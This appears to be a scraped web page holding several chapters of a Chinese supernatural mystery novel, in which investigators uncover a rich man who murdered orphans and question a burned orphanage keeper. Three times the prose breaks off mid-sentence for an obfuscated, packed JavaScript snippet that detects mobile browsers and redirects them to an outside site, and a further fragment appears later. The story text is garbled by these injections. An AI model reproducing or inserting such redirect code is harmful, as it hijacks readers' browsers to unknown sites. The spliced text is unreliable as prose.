日前萧参军判了乔缕娘笞二十，由坊正看管，罪名是通奸，本来男女那点事千篇一律，没什么嚼头，坏就坏在莽五案太过引人注目，案情又迟迟不明，一点风吹草动都传得飞快，如今又是丈夫杀奸夫的戏码，更教人遐想。 这会儿相熟的人才后知后觉，杨隆乙的浑家哪去了，众人还想看她打上乔缕娘的门去，给捧场的大大唱一出。 可田彩女家静悄悄的，连她的头发丝都不见。 有人猜她远走他乡，有人猜她气得跳了河，说的倒是有鼻子有眼，就是没人真见过她到底上何方去了。 田彩女没有别人口中那般怒不可遏，她虽一直躲在城隍庙里，但隔着墙也能听见别人议论自家那口子的破事，那日她靠着墙听了很久，起身要走时才恍然，杨隆乙竟是被姘头的丈夫杀了。 怎么说呢？真是可笑。 她已完全没了悲伤，想的都是等到什么时候才是个头，城隍爷连皇帝都打得，怎么如今全无音讯，难不成自己的事果真难办。 要不是每日都有饭食凭空出现，她定要以为当日听见城隍爷说话是自己疯了。 想要出城隍庙去，心中还是免不了害怕。 她掐着手指头等啊等，意志消沉。 灯姑领里洪垣的差，每日给田彩女送饭，看这女人恹恹一滩，已是没多少人气，只能把所见说给洪垣听。 洪垣也没招，没了祖宗替她砥砺前行，她是真变不出什么神仙法子来。 萧慧极那头也是陷入僵局。 案发当晚，乔缕娘就在家中二楼，子时看见马车驶过未停，有重物从车后落下，杨隆乙也在此时跳下车，之后杨隆乙摆放女尸、系上茄袋到莽五连杀两人，她全部目睹，莽五架着驴车出门抛尸后她从一楼窗户翻出，飞也似的逃回娘家。 纵然证实了他之前的猜想，也按乔缕娘描述画下的马车的样式，但始终怕惊动了万奇珍，因此畏手畏脚，不能直接查证。 他想马车应当就在万府中，万奇珍连上田彩女家都是亲自去的，说不准驾车的就是他本人。 萧慧极再请圣意，圣人依旧要他不进万府。 暂不能到万府去，马车这一线便被按下。 事情又着落在蓝衣女子身上。蓝衣女面容普通，看上去约莫二十出头，足底有厚茧，应是常年在外行走，可她手却精致，没有一个茧子，能猜到她既不务农也不纺布。 她所穿衣物十分常见，布料剪裁都与寻常百姓相同，只是贴身衣裳里侧缝了许多花色各异的布，比对大小，应都是拆开的钱袋子。 原来是个盗贼，全城鼎沸十多日仍无人认尸，八成还不是本地的盗贼。 女尸画像下发各道州，运气好十天半个月能见成效，运气不好一年半载没音信也是常事。 萧慧极倒是沉得住气，该公干公干，该歇息歇息，整天回家还有闲心泡豆子磨豆子，自己做豆腐吃。 洪垣走来走去，走去走来，摇着头从他碗里挖走一大块豆花。 捱到休沐，洪垣心安理得打算出去走走，正巧碰上陆班头上门给萧慧极送莽五的信。信中一番痛心悔罪，而后洋洋洒洒字里行间都是他那柔弱的娘子，最后一沓均是给乔缕娘的，烦请官府转交。 好事之徒原形毕露，左右撺掇萧慧极一起去给乔缕娘送信，他闷声不应，她索性在一旁聒噪：“总之我是一定要去，你要是不去我就自己去，到时候错过了什么蛛丝马迹，别后悔就是了，你就是审我，我也不会说的。” 萧慧极戴着网巾，穿一身素净直裰，坐在藤椅上低头看书，纹丝不动。 什么蛛丝马迹，就是想看乔缕娘得知莽五要死了还惦念着自己，那一番痛心疾首罢了。 说不准掉两滴眼泪，惹得这话篓子大讲特讲三日。 什么情之一字，什么万千纠缠，什么百感交集。 有时太懂一个人也是遭罪。 萧慧极满腹言语塞了个肚饱，这页书未读一字，迟迟忘翻，肩头莫名一重，洪垣又把手肘搭他肩上。 她斜倚着低下头，发丝垂下挠痒他的脸颊，一双眼睛急急扑闪像三伏天的扇。 她一开口，学着乔缕娘的嗓子：“萧郎，你去不去嘛。” 有点害怕，也有点开心。萧慧极抬起书隔住她的脸，起身就走，险些露怯。 洪垣扬脸抬脚跟上：“非要这样请你是吧，萧慧极。” 你那叫做请么？ 萧慧极不答。 她自言自语两句，转头同洪文简聊了一路，不时弄点吃的，一分三份，一份扔给洪文简，一份软磨硬泡连哄带骗塞进萧郎嘴里，最大最满的一份归自己。 走到南万通路上，洪垣已来不及耍嘴，竖起耳朵一听，都是关于乔缕娘的传言。 说她前日被打了二十下，后背血糊糊地自个儿走回来，不哭不闹没事人一样，吓得凑热闹的大气不敢喘，偏生又舍不掉这点热闹，于是一个个恨不得缩腹贴着道旁，只拿眼睛刮人。 即刻就有反驳，哪里不哭，哭得撕心裂肺，鬼哭似的，吓死人了。话音落被人笑讽，你说哭，你搁她被窝听见？ 又说这两日她回到家一点动静也没有，要不是邻家大婶看不下去怕闹出人命，请了个郎中上她家，每日又做点饭端去，否则这家门恐怕早朽了。 还有昨日她老父老母倒是来了，想带她回乡下去，然莽五案未结，官府命坊正看管她不得离开麟城，不知她说了些什么，傍晚时老两口唉声叹气，相携离去。 更有人信誓旦旦，今早还看见她在窗边看书，然后啧嘴感叹这女子是个狠人，都这境况了还云淡风轻呢，最好别上她跟前触霉头，背地里小声讲讲也就算了。 洪垣听着，乔缕娘这些街坊如今是有些怕她的。 到了乔缕娘家门口，坊正刚巧送了药出来，便又引二人上楼。 乔缕娘趴在床上，垫个枕头，右手拿一卷书，侧头细读。坊正见她入迷，没个端正模样，连忙咳嗽：“乔缕娘，萧参军来了，你还不快起来。” 萧慧极止住他的话，将他挥退。 乔缕娘看完一页，幽幽转头：“妾因伤多有不便，失礼了，望参军海涵。” “无碍，莽五有书信要转交与你。” 萧慧极话音刚落，洪垣就等不及从他袖中抽出一沓纸，上前塞进乔缕娘手里。 乔缕娘一页页翻看，洪垣瞪大眼睛盯着，她气色还算不错，只是有些神思倦怠，不知是伤痛无法入眠，还是点灯熬油地看书解闷，看她一页抽出，一页叠后，面色淡淡，不起波澜。 洪垣有些担心，她也曾见过有人伤心过度反而平静如常，小心问道：“乔娘子，你……饿不饿？我给你弄点羊荷包吧，街口摊子的，味道挺不错。” 乔缕娘听罢垂首：“多谢娘子，邻居婶婶已送过饭了。” “那你今日上药了没？疮药用的哪种？”她还要问，被萧慧极拉到身后，这人又是嫌她废话啰嗦。 箫慧极单刀直入，倒不算咄咄逼人：“乔缕娘，你虽曾犯错，但官府已做惩罚，不必耿耿于怀。至于闲言碎语，我想以你胸怀，应不以为然。只望你今后不再轻言杀人，书中所见好似轻巧，可当夜你若果真取了莽五的性命，你能心安？莽五杀人，必要偿命，你想想他，你便明白。” 一番苦口婆心，不知乔缕娘能否听进去，她只是玩手，很久才应答。 “参军所言，妾都明白，所受教训，也足够了。话本子里男男女女，谁不受一番搓磨，俗世眼光，妾只当云烟，他人口舌，又与妾何干？”她语罢低头，枕在书上，“只是。只是。” 她自顾自喃喃，背对着两人，发髻上还簪着相思钗。 “参军读过妾书，应当知道郎君曾捡了一个金人，有了金人后，他总能捡到钱财。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801471|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这并非妾信口胡诌，这事郎君不曾告诉妾，但妾天天看着他，他把金人藏在身上，妾怎会不知？妾同杨隆乙抱怨时提起此事，再想到他偏陈尸在妾家门前敲诈，分明是想要那金人罢了。那夜若妾出声叫他，他不会杀人，一念之差，竟成就今日，妾亏欠他。因此今日请参军明鉴，是杨隆乙先要害他。” 她望些回复，萧慧极却只叫她安心养伤。 客人离去了，主人独自一人，细想那日挺到家里，空荡荡、冷清清，好似少了些什么，怎么都不自在。叫郎君，他不答应，哭着叫，他也不来。 最后坐在地上，双手拍地，哭得脸涨红，大喊莽五，以为这样他就会着急忙慌跑回来，像小时候想吃的甜果子，一直哭就会有的。 她背对着人抽泣，少了几许矫饰，声音却还是很轻，像不尽兴的雨。 心头细雨绵绵，窗外却是晴好，海棠当风如痴如醉，梨云飘散，细细摇落，纷飞似雪。 洪垣走在路上，看见梨花飞过，突发奇想：”要不去胜春楼看梨花吧，饮一盅紫珍泉，叫一二，嗯，七八九十个小菜，反正休沐，就要尽情玩乐。金人那种事，拜托陆班头就行。” 萧慧极摘下腰间钱袋，摇给她听，稀稀拉拉几声脆响。 洪垣也摇摇自己的钱袋，满当当的听不见什么声音，扔出去恐怕能把地砸一窟窿：“十个小菜，如何？” “挺好，只是你这钱从哪来的？”他侧目揶揄，看见她抬头望天，装作耳聋。 她那点月俸还不够自己花，任的又是上门索贿会被扭送官府的闲职，哪来空余攒下这么些。 萧慧极怀疑她是不是做了贼：“你偷偷当家里东西了？” “胡说八道！”洪垣一下把钱袋子揣怀里搂着，“你也太胡乱猜度了。” 可恨她这钱真的来路不正，否则还能夸耀一番，萧慧极已然猜到了，也不说话，斜眼看她怎么解释。 洪垣偏不，挠挠头找话：“乔缕娘真是个妙人。” 等了半晌不闻答复，着急争辩：“把自己读进书里的人，我是头回见，难道不妙吗？” 萧慧极眼角弯起，点头低声“嗯”一句。 “哎呀，只要她别再想着杀谁就行，世上的人总有不同，她心中装的东西和我们都不一样。”洪垣背着手，心想真是机智，这都逃过去了。 萧慧极可不留情：“是，自然不同。你心里装的酒烧香螺、鱼肚羹、澄沙团子、五味鸡、乌梅、虾炙、酿鸭、糖蟹、羊杂冷淘和白炸春鹅这十碟子菜。” 洪垣都听饿了，平白咽了许多下口水。 “民以食为天，我心怀天下怎么了？”熟稔诡辩一句，她敲敲他的手臂，“就不知道萧参军心里装的是什么了？” 萧慧极沉默以对，怡然望着天际，风习习，心旌摇曳。 天是无波澜的湖，云在其上漫游，眼观心动，心随云走，身如行舟。 身畔重楼飞阁、八街九陌、流水游龙，风摇着春幌，旗幡交错，衣袂接轸，但听闻笑语欢声悲哭怒骂，寻常人生，不过如此。 洪垣到底没叫上十碟菜，打个折扣，叫了九碟一坛酒，腰上积蓄去了大半，真是为了口腹之欲眼也不眨。 正要下筷，酿鸭里钻出个人头，灯姑四下望望，找准了洪垣：“洪垣啊，那谁给你下了个帖子，请你吃席呢。” 洪垣接过一看，落款是丘无玷，抬眼觑那揉手小人，一眼看穿她藏了事：“那小贼给你什么好处了？” “什么好处，没有，怎么能有，净瞎说！”灯姑一连串否认，慌忙把这页揭过去，“你帮了小鬼，他们诚心感谢，这才请你去，说要当面好好感谢。” 洪垣半信半疑。 “我回家吃饭了，你记得去啊。”话毕灯姑头往下一埋，撅屁股跑了。 她敢肯定这席面十成十有诈，小灯这馋鬼不贪嘴了，真是千古奇闻。 再抬头看萧慧极，全然没听见她说话般，持盏斜倚，对着梨风。 11. 瓮（七） 洪垣头一次知道请客还能在客人家摆桌的。 戌时三刻，她眼晕耳热到家，洪文简偏要从她腿缝里穿行，一绊一倒，刚进院就摔得趴下。 翻个身躺在地上，一群小鬼围过来："恩人，你回来啦。" 风阴森森一扑，钻进领子里，鸡皮疙瘩直冲指尖，她一打滚坐起来，看见自家桌上摆着四盘八碟，模样十分鲜亮丰盛。 但她知道这些鬼的一贯手段，指指家祠方向："我敬告你们，别拿什么蛇虫鼠蚁来捉弄我。那屋看见没？我家老倌老太十分可怕，阎王来了都得提着屁股跑，你们这些小家伙，还不够他们穿成手串每天搓呢。" "恩人，这是我们凑钱置办的，没有偷抢，我等现在河神爷处听用，均是告假来的。"一个女娃娃上前来半步，洪垣从她又红又绿又紫的衣裳辨认出似是故人。 女娃娃看她迷茫，缩起肩膀有些伤心："恩人，我是二梨呐。" 不怪洪垣认不出，诸小鬼现如今梳洗了头发，换上新衣裳，吃饱饭大变模样，一个个漂漂亮亮像年画娃娃。 洪垣恍然，连忙哄道："认得，认得，你瞧，洪二也还记着你。" 洪文简当然记得，毕竟能让他干呕的东西确实不多。 二梨害羞叉手，拽拽旁边小鬼的衣角，小鬼穿着一身蓝衣裳，这回洪垣认出是谁了。茂郎拱手一拜："恩人请上座。" 洪垣环视一圈，在鬼中找那个小屁鬼，此小屁鬼最好辨认，但凡有他在的地方必定空旷，鬼站一处，腿站一处，拳头抵着腰，手肘子还得顶片天出来。 茂郎会读心似的："恩人，无玷他等会儿就来了。" 不对劲，他们不是两派吗，怎么如今如此亲密。洪垣想着，在桌前坐下，数了数脑袋："怎么还少一个？" 二梨答道："思晦懂的多，河神爷喜欢他，点他做了书吏。最近事多，他实在抽不出身。" 洪垣了然，那孩子确实早慧，言行举止令人舒心，可门外搬着酒坛进来那个，就不那么令人舒心了。 丘无玷把酒坛从怀中放下，露出一张凤眸细眉的脸来，这小屁鬼下巴颏尖两颊肥美，端是俊秀可爱，就是瞧人时颇为无礼。 果真他一开口，还是原汁原味："你踢小爷屁股，小爷伤心但小爷原谅你，小爷还请你吃饭，你现在总愿意加入我们了吧。 她一大个长条的活人，跟着一群五六七八岁的小鬼鬼混，实实有碍观瞻。 洪垣真想揪他耳朵：“你小心我上河神爷那编排你，让他狠狠打你屁股。” 丘无玷下意识想捂屁股但生生忍住，色厉内荏地昂头挺胸：“小爷欣赏你，那是小爷爱才，识时务者为俊杰，你可别不知好歹！” “你还知道识时务者为俊杰，你要是真的识时务就该知道人鬼殊途，好好替河神爷效劳，别整天瞎想什么八门七门总把头，小小年纪就拉帮结派的，我可不跟你扮家家酒。” 洪垣乐了，一顿说教，丘无玷气急抢白：“可是，可是——” 二梨悄摸摸扯了下他，小声建议：“无玷，你先让恩人吃口菜再说吧。” 丘无玷鼓着脸闷闷不乐，把酒坛抱上桌，一屁股坐在石凳上，背对众人鬼以表愤懑。二梨尴尬得两颊挂上团红，与茂郎合力抬起酒坛给洪垣满上一碗，不知说些什么才好。 洪垣才不会和小孩置气，拿筷子敲敲丘无玷的头：“丘总把头，气性这么大呢，你要可是什么，你倒是说完。” 小鬼双手捂在头顶，转头瞪她一眼。 洪垣乔模乔样双手交叠倚腮，两弯长眉撇成下弦新月：“小女子实在好奇，请总把头明言。” 丘无玷是个颇庸俗的小屁鬼，就吃这套，浑身一振重复神采，吊儿郎当翘起二郎腿，手指在腿上噼啪乱敲：“也不是不能告诉你，但你得答应我。” “答应什么？”洪垣撇眼，就知道又是这套。 “你得答应辅佐小爷我，咱们共商大计，图谋大业。”小鬼叉着腰，洪垣连连点头附和：“是是，辅佐你夺取拨浪鼓，攻占滚灯摊，手霸七巧板，脚踩九连环，到时候给你弄个风筝，还能上天扑蝴蝶呢。” “那是蝴蝶吗飞那么高！”丘无玷叉腰跳下地，神情宕了须臾，转过弯来，“你把谁当小孩呢！” “你可不就是小孩吗？你们都是小孩。” 洪垣心直口快，纵丘无玷在如簧的巧舌里翻了又翻，也没找出驳斥的字眼，憋了半天愤愤道：“小孩怎么了？小孩也有正事。” “那你快说正事，你这总把头怎么磨磨唧唧的，你们江湖人都这么不敞亮吗？”洪垣逮住话头添些捉弄，险把丘无玷气哭。 他闷着眼深吸数口气，睁眼看过那些小鬼，扮成恨天不假年般慷慨，而后小脸一仰，扑通抱住洪垣的腿：“今年撞了狗屎运遇到你，收了老聻，让我等逃出生天。小爷真的就指望你了，你一点不怕那万鼠狗。小爷天天跟着你，小爷听见了，听见你要揭了他的脑袋当粪瓢，胡子拔了当腿毛，你还能让判官给他换了昆仑奴的膀子胡人的嘎吱窝和脚，天晓得小爷我有多想看这个。你要是能替我们报仇雪恨，小爷我结草衔环报答你。” 洪垣抱着手直掐眉心，这就是嘴上不积德的下场：“我我我那——” 这要怎么解释？也太伤威严了！ 挣扎一瞬，她头一歪：“罢了。万奇珍那老东西怎么欺负你们了？” 丘无玷默然，不知从何说起。 二梨左看看茂郎，右看看那群只知闷头的小鬼，只得开口解释：“恩人有所不知，埋儿坡里大多是我和茂郎这样短命夭折的，但也有为人所害……” 她闭紧嘴巴瞟一眼丘无玷，半避到茂郎身后。 丘无玷盘腿坐着，努努嘴，似乎很不愿提起：“他说家翁孤单，领走我们去陪伴服侍，我们以为有好日子了，然后便被剥衣洗净装进瓮中饿死闷死，每年一个，都在三月初一。” 洪垣发怔，只觉得没听懂他在说什么，摸摸耳后，听见声音。 “我们被压在万府祠堂底下的暗室里，有个老婆婆许是可怜我们，只要有机会就将我们的尸骨偷换出府，葬在埋儿坡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801472|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那。” 丘无玷叹了口气，装作豁达，“小爷我啊，是头一个遭殃的，这些傻家伙每年争着去，后来闻出不对劲了，谁家服侍个老太爷年年来领人，领走的人也不见回来过。” 他指了两三个小鬼：“他们几个打听得知是万鼠狗领走了人，趁没人跑来万府外寻我们，一问没人认得我们的名号，猜我几个肯定没了。没办法，跑是跑不了，只能每年年纪最大的自告奋勇，好歹让鼻涕都擦不干净的多活几天。” 院内寂静，院外热闹非凡，正是华灯照夜时。 叫卖声来往不歇，甚有卖花声走过。 转头看院外，人间几多欢乐。 二梨鼓起勇气打破沉默：“恩人，我等都同情无玷他们的遭遇，若有用处，但凭恩人差遣。” 洪垣平日里口若悬河，但最不知怎么安慰别人，听见万奇珍这般禽兽，还没小孩懂点做人，气得牙痒，干脆跨腿站起，伸手指天赌咒发誓：“这阴损的獠贼，你威风八面洪娘子绝不容忍！这事，归我了。” 新仇旧恨涌上心头，一言既出驷马难追。 丘无玷抬起头，泪花泛滥：“小爷没本事，小爷连他家门都进不去，但小爷就知道，小爷没看错人，小爷一定报答你，小爷让你做副总把头。” 洪垣刚提起的气一瞬跌倒。 你那是报答吗？小屁鬼讨嫌起来真是可恶。 她大马金刀坐下，越瞅他涕泪一把越是心烦：“还有什么要紧的，速速说来，可别哭了，你得让那老杂毛哭。” 丘无玷一抹脸：“有道理。” 他侧头丢个眼色，一小鬼捂着屁股扭扭捏捏出来：“今年三月初一应还有一个，只是尸骨未见迁出，应还困在暗室里。” 洪垣点头，又摇头：“这万府轻易进不得。你们说的那个老婆婆，把你们偷出来那个，听着像个好人，能帮上忙吗？” 丘无玷急忙道：“三月初六她来坡上给我们烧纸，就是你来的那个晚上，算上时间你和她应该打过照面。” 洪垣细细回想，那日快到埋儿坡时，确实与一个老妇人擦肩而过。正琢磨着，有小鬼不乐意抱怨：“那老东西也不是什么好人，她分明就是姓万的帮凶！她才不会帮我们！” 登时便有呛声：“她辛苦救咱们出来，你怎么能这么说呢？” 一时有说“她看着我死的，她就是良心不安罢了”，也有说“她还给我偷偷送过饭，心地肯定不坏”，有说是助纣为虐，有说是迫于淫威，有说是冷眼旁观，有说是善人义士。 一时各执一词，乱作一团。 丘无玷看上去也很为难，上嘴皮想帮左边，下嘴皮想帮右边，到头来上下嘴皮打架，拧来掐去很是尴尬。 还是捂屁股的小鬼靠谱，像个狗头军师，凑到洪垣够不到处出了个主意：“我觉得不必去找老婆婆，应当去城西，去我们被领走的地方。” 洪垣想到小鬼方才说那些话，心底生出一些不妙，但也怀着点侥幸：“城西什么地方？” 狗头军事答道：“城西稻秆街慈幼院。” 12. 瓮（八） 洪垣出门右转十步，咣咣拍萧家侧门。 边拍边想怎么同萧慧极说这事，三番五次想下来编何种故事都不好圆，心一横实话实说好了，反正他早该习惯了。 门打开个缝，相熟的仆人一见是她，拉开门揖手："洪麟使，郎君不在家。" "几刻钟前我和他一起回来的，怎么会不在家？"洪垣探头往里张望，穿过几道门廊，萧慧极院中确是黑着灯。 "刚刚公廨来人将郎君叫走了，说是城西慈幼院失火，烧伤烧死了几个人。" 洪垣脸一白，掉头往家走。 真是天意作祟，万奇珍害了那么多孩子，慈幼院这把火一烧，怎么也该把他烫醒了。 他这一醒，还能留那知情的婆子性命？ 三两步进门，小鬼们聚在院中还未散去。 她分身乏术，先叫丘无玷同茂郎将被害小鬼姓名写下，然后指挥起这堆娃娃兵："你们把那个婆婆弄来，缺胳膊少腿不管但必须得是个活人。洪文简带着二梨和茂郎去找小灯，找到了就和丘无玷会和。" 她不苟言笑的模样激得众小鬼热血沸腾，整兵列马各自离去，她自己则收好名单，上萧慧极家借了匹马，翻身勒缰赶往城西。 到时潜火队已将火扑灭，差役驱散了围观者。幸好望火楼报得及时，没有殃及隔壁房屋，慈幼院烧塌小半，焦烟还未散尽。 洪垣就近栓好马，扭头拨开乱麻，寻着陆班头："你们参军呢？" "正在火场里。"陆班头不乐颠颠的了，板着脸大步匆匆领她进去，"院公屋里起火，烧死两个小的，社公烧伤，还有几个小娃娃也伤了点。" 走近十步，听见不成人声的惨叫，差役抬着个男子安置到完好的屋子里，叫来的郎中背着药箱跟在后边。漆黑地上盖着两块白布，小小雪堆一样，被挑着的灯笼映出半边金黄。 屋里哀嚎声阵阵，萧慧极从坍塌的废墟中走出来，卸着染黑的布手套，不管衣上沾了炭灰。 旁边一脸黑灰的婆子点头哈腰，不住辩解只是意外失火。 坏了，是每月搬饲谷来交货时负责清点的庞婆子，挑三拣四，狗粘草一般缠人。 洪垣做贼心虚半背过去，手指抵着脑门，拢紧指头遮不住两腮，张开又从指缝间露出端倪。耳听呼天叫地声越来越近，顾不上祈求庞婆子人老眼花能把她漏过去，正欲狼狈逃窜—— "哎呀洪娘子！洪麟使！你快帮老婆子说说话！咱这都是最讲规矩最老实的人了，哪能故意纵火？” 庞婆子双手拍腿，哭腔扰人却不见泪下。 萧慧极这泥人都有了三分脾气，语气不耐：“你这婆子休要纠缠，我只说起火原因尚需查明，你口口声声故意纵火，是信口开河还是确有其事？” 庞婆子似断颈的鸭子，戛然失声，眼一转腿一伸坐在地上，摇头晃脑撒泼：“苍天有眼！我半辈子起早贪黑照顾这些孩子！” 萧慧极只当是进了鸭圈，任她卖力哭惨，慢悠悠走到洪垣跟前：“你交友倒是挺广。” 洪垣左右摩挲手背，咧嘴傻笑：“我这个人就是好心，认识几个慈幼院的婆子也不稀奇。”看着萧慧极要张口，她连忙摆手：“不用夸我不用夸我。” 他面色阑珊，看着她的眼睛，指头一点：“你心虚的时候，脸就是这样。” “什么心虚？哪有心虚？”洪垣下巴收紧，顶着铁打的嘴，认真反驳，"你别打岔，我来找你是有急事。" 她抓皱萧慧极的衣袖，拉到人少处："恐怕你得快快面圣，或是请常府尹出面，万奇珍害了这慈幼院十几个小孩性命，他家祠底下还有具尸骨没有移走。如今慈幼院失火，官府上门，他必然惊疑，怕是会杀人灭口、销毁证据。" 萧慧极垂眸看她。 她一串言语如气泡咕嘟冒上来，争先恐后挤作一堆涌出，没头没脑孤悬于水面无处漂散，教人莫名。 但他知道是真，要扯衣袖，却抓到她手，仓皇要抽走时被她反手握住。洪垣满面郑重，双目比珍珠还真："你只管拿人，我一定找着铁证拍到万奇珍那老狗贼脸上！他要敢乱吠就是一巴掌，再吠更是两巴掌。" 萧慧极热血倒流又作飞瀑状，脸一阵红一阵青一阵白，洪垣低头翻来翻去摸摸他的手："你手好凉，萧慧极，不会衣服没穿够吧。" 他用力一抽手，趔趄着倒退两步，就着转身，衣袖盈满风气急败坏地甩在身后，大步走了。 洪垣挤皱脸蛋，真是好看男人多作怪。 打发走了萧慧极，她就能安安心心大展拳脚，走过去把干嚎累了正在歇气的庞婆提溜起来："好啦庞婆婆，有我在还能亏待了你们？你去把管事的做事的一个不落都叫到黄院公那，他伤的那么重，万一挺不过来，该先去看看他。" 庞婆子张嘴长吸一口气正准备接着嚎上，胸脯已高高鼓起顶到下巴。 听她这样的言辞，一口气欢天喜地冲出口："哎呀洪娘子，还是你会心疼我们这些老东西！我这就去，你屋里先歇歇脚。" 她翻身爬起，两肩拢紧钻出去，洪垣恰感叹着庞婆子一把年纪如此矫健，陆班头领命过来："洪麟使，萧参军让我过来听你吩咐。" "仵作到了没有？" 陆班头答复已到，她一时成竹在胸："让仵作就地验尸，然后将本院近二十年所有名册全部找来，等会儿你看我眼色行事。" 循着渐弱的惨叫声找去，轻易就能找到黄院公所在的屋子，他一双小腿均被烧毁，郎中用清水洗过伤患处，黄柏捣碎以香油调敷。 黄院公半躺在桌椅临时拼起的榻上，面如白纸气息微微，再哼不出半个音调。进屋的人瞧见那两只黑红色的模糊肢体，哪个不心惊肉跳，一想到躺那儿的不是自己，且得拍着胸脯庆幸。 洪垣绕着他转了一圈，盯着他的脸上下左右东南西北地看。黄院公疼得头昏脑胀，仰着头才能把气吸进嘴里，他眼睛能看见洪垣那副嘴脸，极怒。 委实调理了半盏茶时间才开得口，颤颤巍巍一句话被半口不结实的气送出喉咙，顷刻间便各奔东西，三分往鼻孔飘出来，三分自上颚滚落，三分压在舌底，还有一分还未出去就有气无力地散尽。 洪垣歪来一只耳朵，手抚在耳边，还翘着骄矜的小指："说啥呢？"

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801473|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 笑着转头，见人来齐了。慈幼院中有管事婆子两人、乳母四人、杂役三人，连着躺倒的黄院公共计十人。 "都来了，"洪垣笑盈盈的，"我把你们叫过来看看老黄耗子，怕晚了见不着最后一面。" 写着药单的郎中连忙搭腔："哎哎哎，没到那步，谨遵医嘱好好调理，还是能治好的！" "我当然相信郎中你死骨更肉、妙手回春，但只怕你治得好腿，治不好脖子上碗大的疤。"郎中听了纳闷，见她坐在椅上侃侃而谈，"老黄耗子你听见没，郎中能治好你，你且得活着，千万别死，若是死了被勾到阴间，定要把你拉上大锯，竖着锯横着锯，正着锯反着锯，就你这双烂腿，先锯了扔进大锅做你的夜宵。" 她打进了这屋就阴阳怪气的，一口一个"老黄耗子"，黄院公气的喘气都打浪似得一趟赶着一趟，哆嗦着"你"个没完。 黄院公大名黄好，幼时身材瘦小，被人戏称作"小黄耗子"，他因此最恨。他小时从慈幼院被人领走抚养，长大后常回来帮工，一来二去便留在了此处，后来做了院公，仔细算来也有二十余年。 洪垣在做饲谷生意前就和黄好打过交道，她爹每年都会匀出些米面送来慈幼院，洪垣曾来过两三次，不算深交也混了个面熟。 不过真是知人知面不知心，万奇珍每年领走一个孩子，黄好乃一院之主，岂能浑然无知。 屋内诸人面面相觑，听不懂她连篇鬼话，正想打几个眼神官司，陆班头搬着一小摞册子走进来。 稻秆街慈幼院曾是前朝官府创办，后变为私办，规模一直不大，二十年累积名册也只少少一点，可洪垣并不愿自己翻看，卷一本册子在手里，指着两个管事婆子："丘无玷的名字在哪处？" "啊？不是问着火的事吗？怎么问起小丘了？"庞婆子一时疑惑，大嗓门差点掀了屋顶，"小丘都被领走好些年了吧，我想想，应有十二年了。对对，就是十二年，那天好几个人吃坏肚子，我记得可清楚了。那孩子鬼精鬼精的，现在应该长成大小伙子了，可惜被外地人领走了，也不知道长得还像不像小时候那样漂亮。" 洪垣惯爱诈人，本准备看看各人反应，谁知被庞婆子打得措手不及，所有人都看庞婆子去了，鱼钩钓了个空。 庞婆子话长如江水，怎么都割不断，洪垣捏着书棒槌一样使。 "庞婆子，萧参军有急事先走一步，让我代他问话，他是好脾气的，念你年长不与你计较，你知道我可不是。" "哎呦！"庞婆子又要故技重施，双手已举到半空，膝盖弯曲如猴。陆班头亮出小截刀刃，把她剩下一套招式斩断干净："洪麟使说话，岂有你插嘴的份儿！" 庞婆子偃旗息鼓，束起下巴堆做层层叠叠的千张，不忿地斜瞪着人。 洪垣放下二郎腿，撒摆危坐："此地刚发命案，我既受命，便如在公堂。尔等若再无故啰噪，本官先定你藐视公堂之罪。" 把名册摔在地上，霹雳声响："把丘无玷的名字找出来。" 她正对黄好坐着，脸上挂着令人切齿的笑意，黄好真如成了耗子，只是尾巴让猫踩住了。 13. 瓮（九） 走到厨房里，要了一碗鸡丝粥吃，谷婆子感觉腰愈发疼了，非要扶着点东西慢慢、慢慢、慢慢伸直，如她年轻时佝着腰慢慢、慢慢、慢慢掖紧二郎身上的被角，一丝气也不忍从鼻尖漏走。 年轻时心细如发，生怕扰了二郎睡觉，如今闭着气忍痛，才能直起腰来。 僵硬麻木的腰肢四十年前是纤细柔软的，柳条一样，可以起舞。 光阴一箭，催得青丝成了一蓬乱雪，青春不再后连心坎泵出的热血都日渐苍白，两股好似易折的柳，竭力迈动也赶不上年轻时的半步，再提脚走下一步时过去匆匆的背影已消失在月亮门里。 谷婆子快七十岁了，能活的日子一眼望到头，她年轻时是万家二郎万奇珍的保姆，比亲娘还疼他。 她照顾了他大半辈子，二郎算她半个儿子，如今她做不动活了，二郎也没舍弃她，让她在府中养老。 挪着碎步回到自己的小院，人老了觉也少，但今晚吃过鸡丝粥后忽觉困乏，她进屋和衣便睡。 谷婆子又做梦了。杂乱无章的很。 她梦见二郎小时候的模样，穿着蓝紫卷草花的缎子衣裳，胸前挂着明晃晃的金项圈，墨点的眼睛逢人就笑，世间再没第二个这样好看的孩子了。 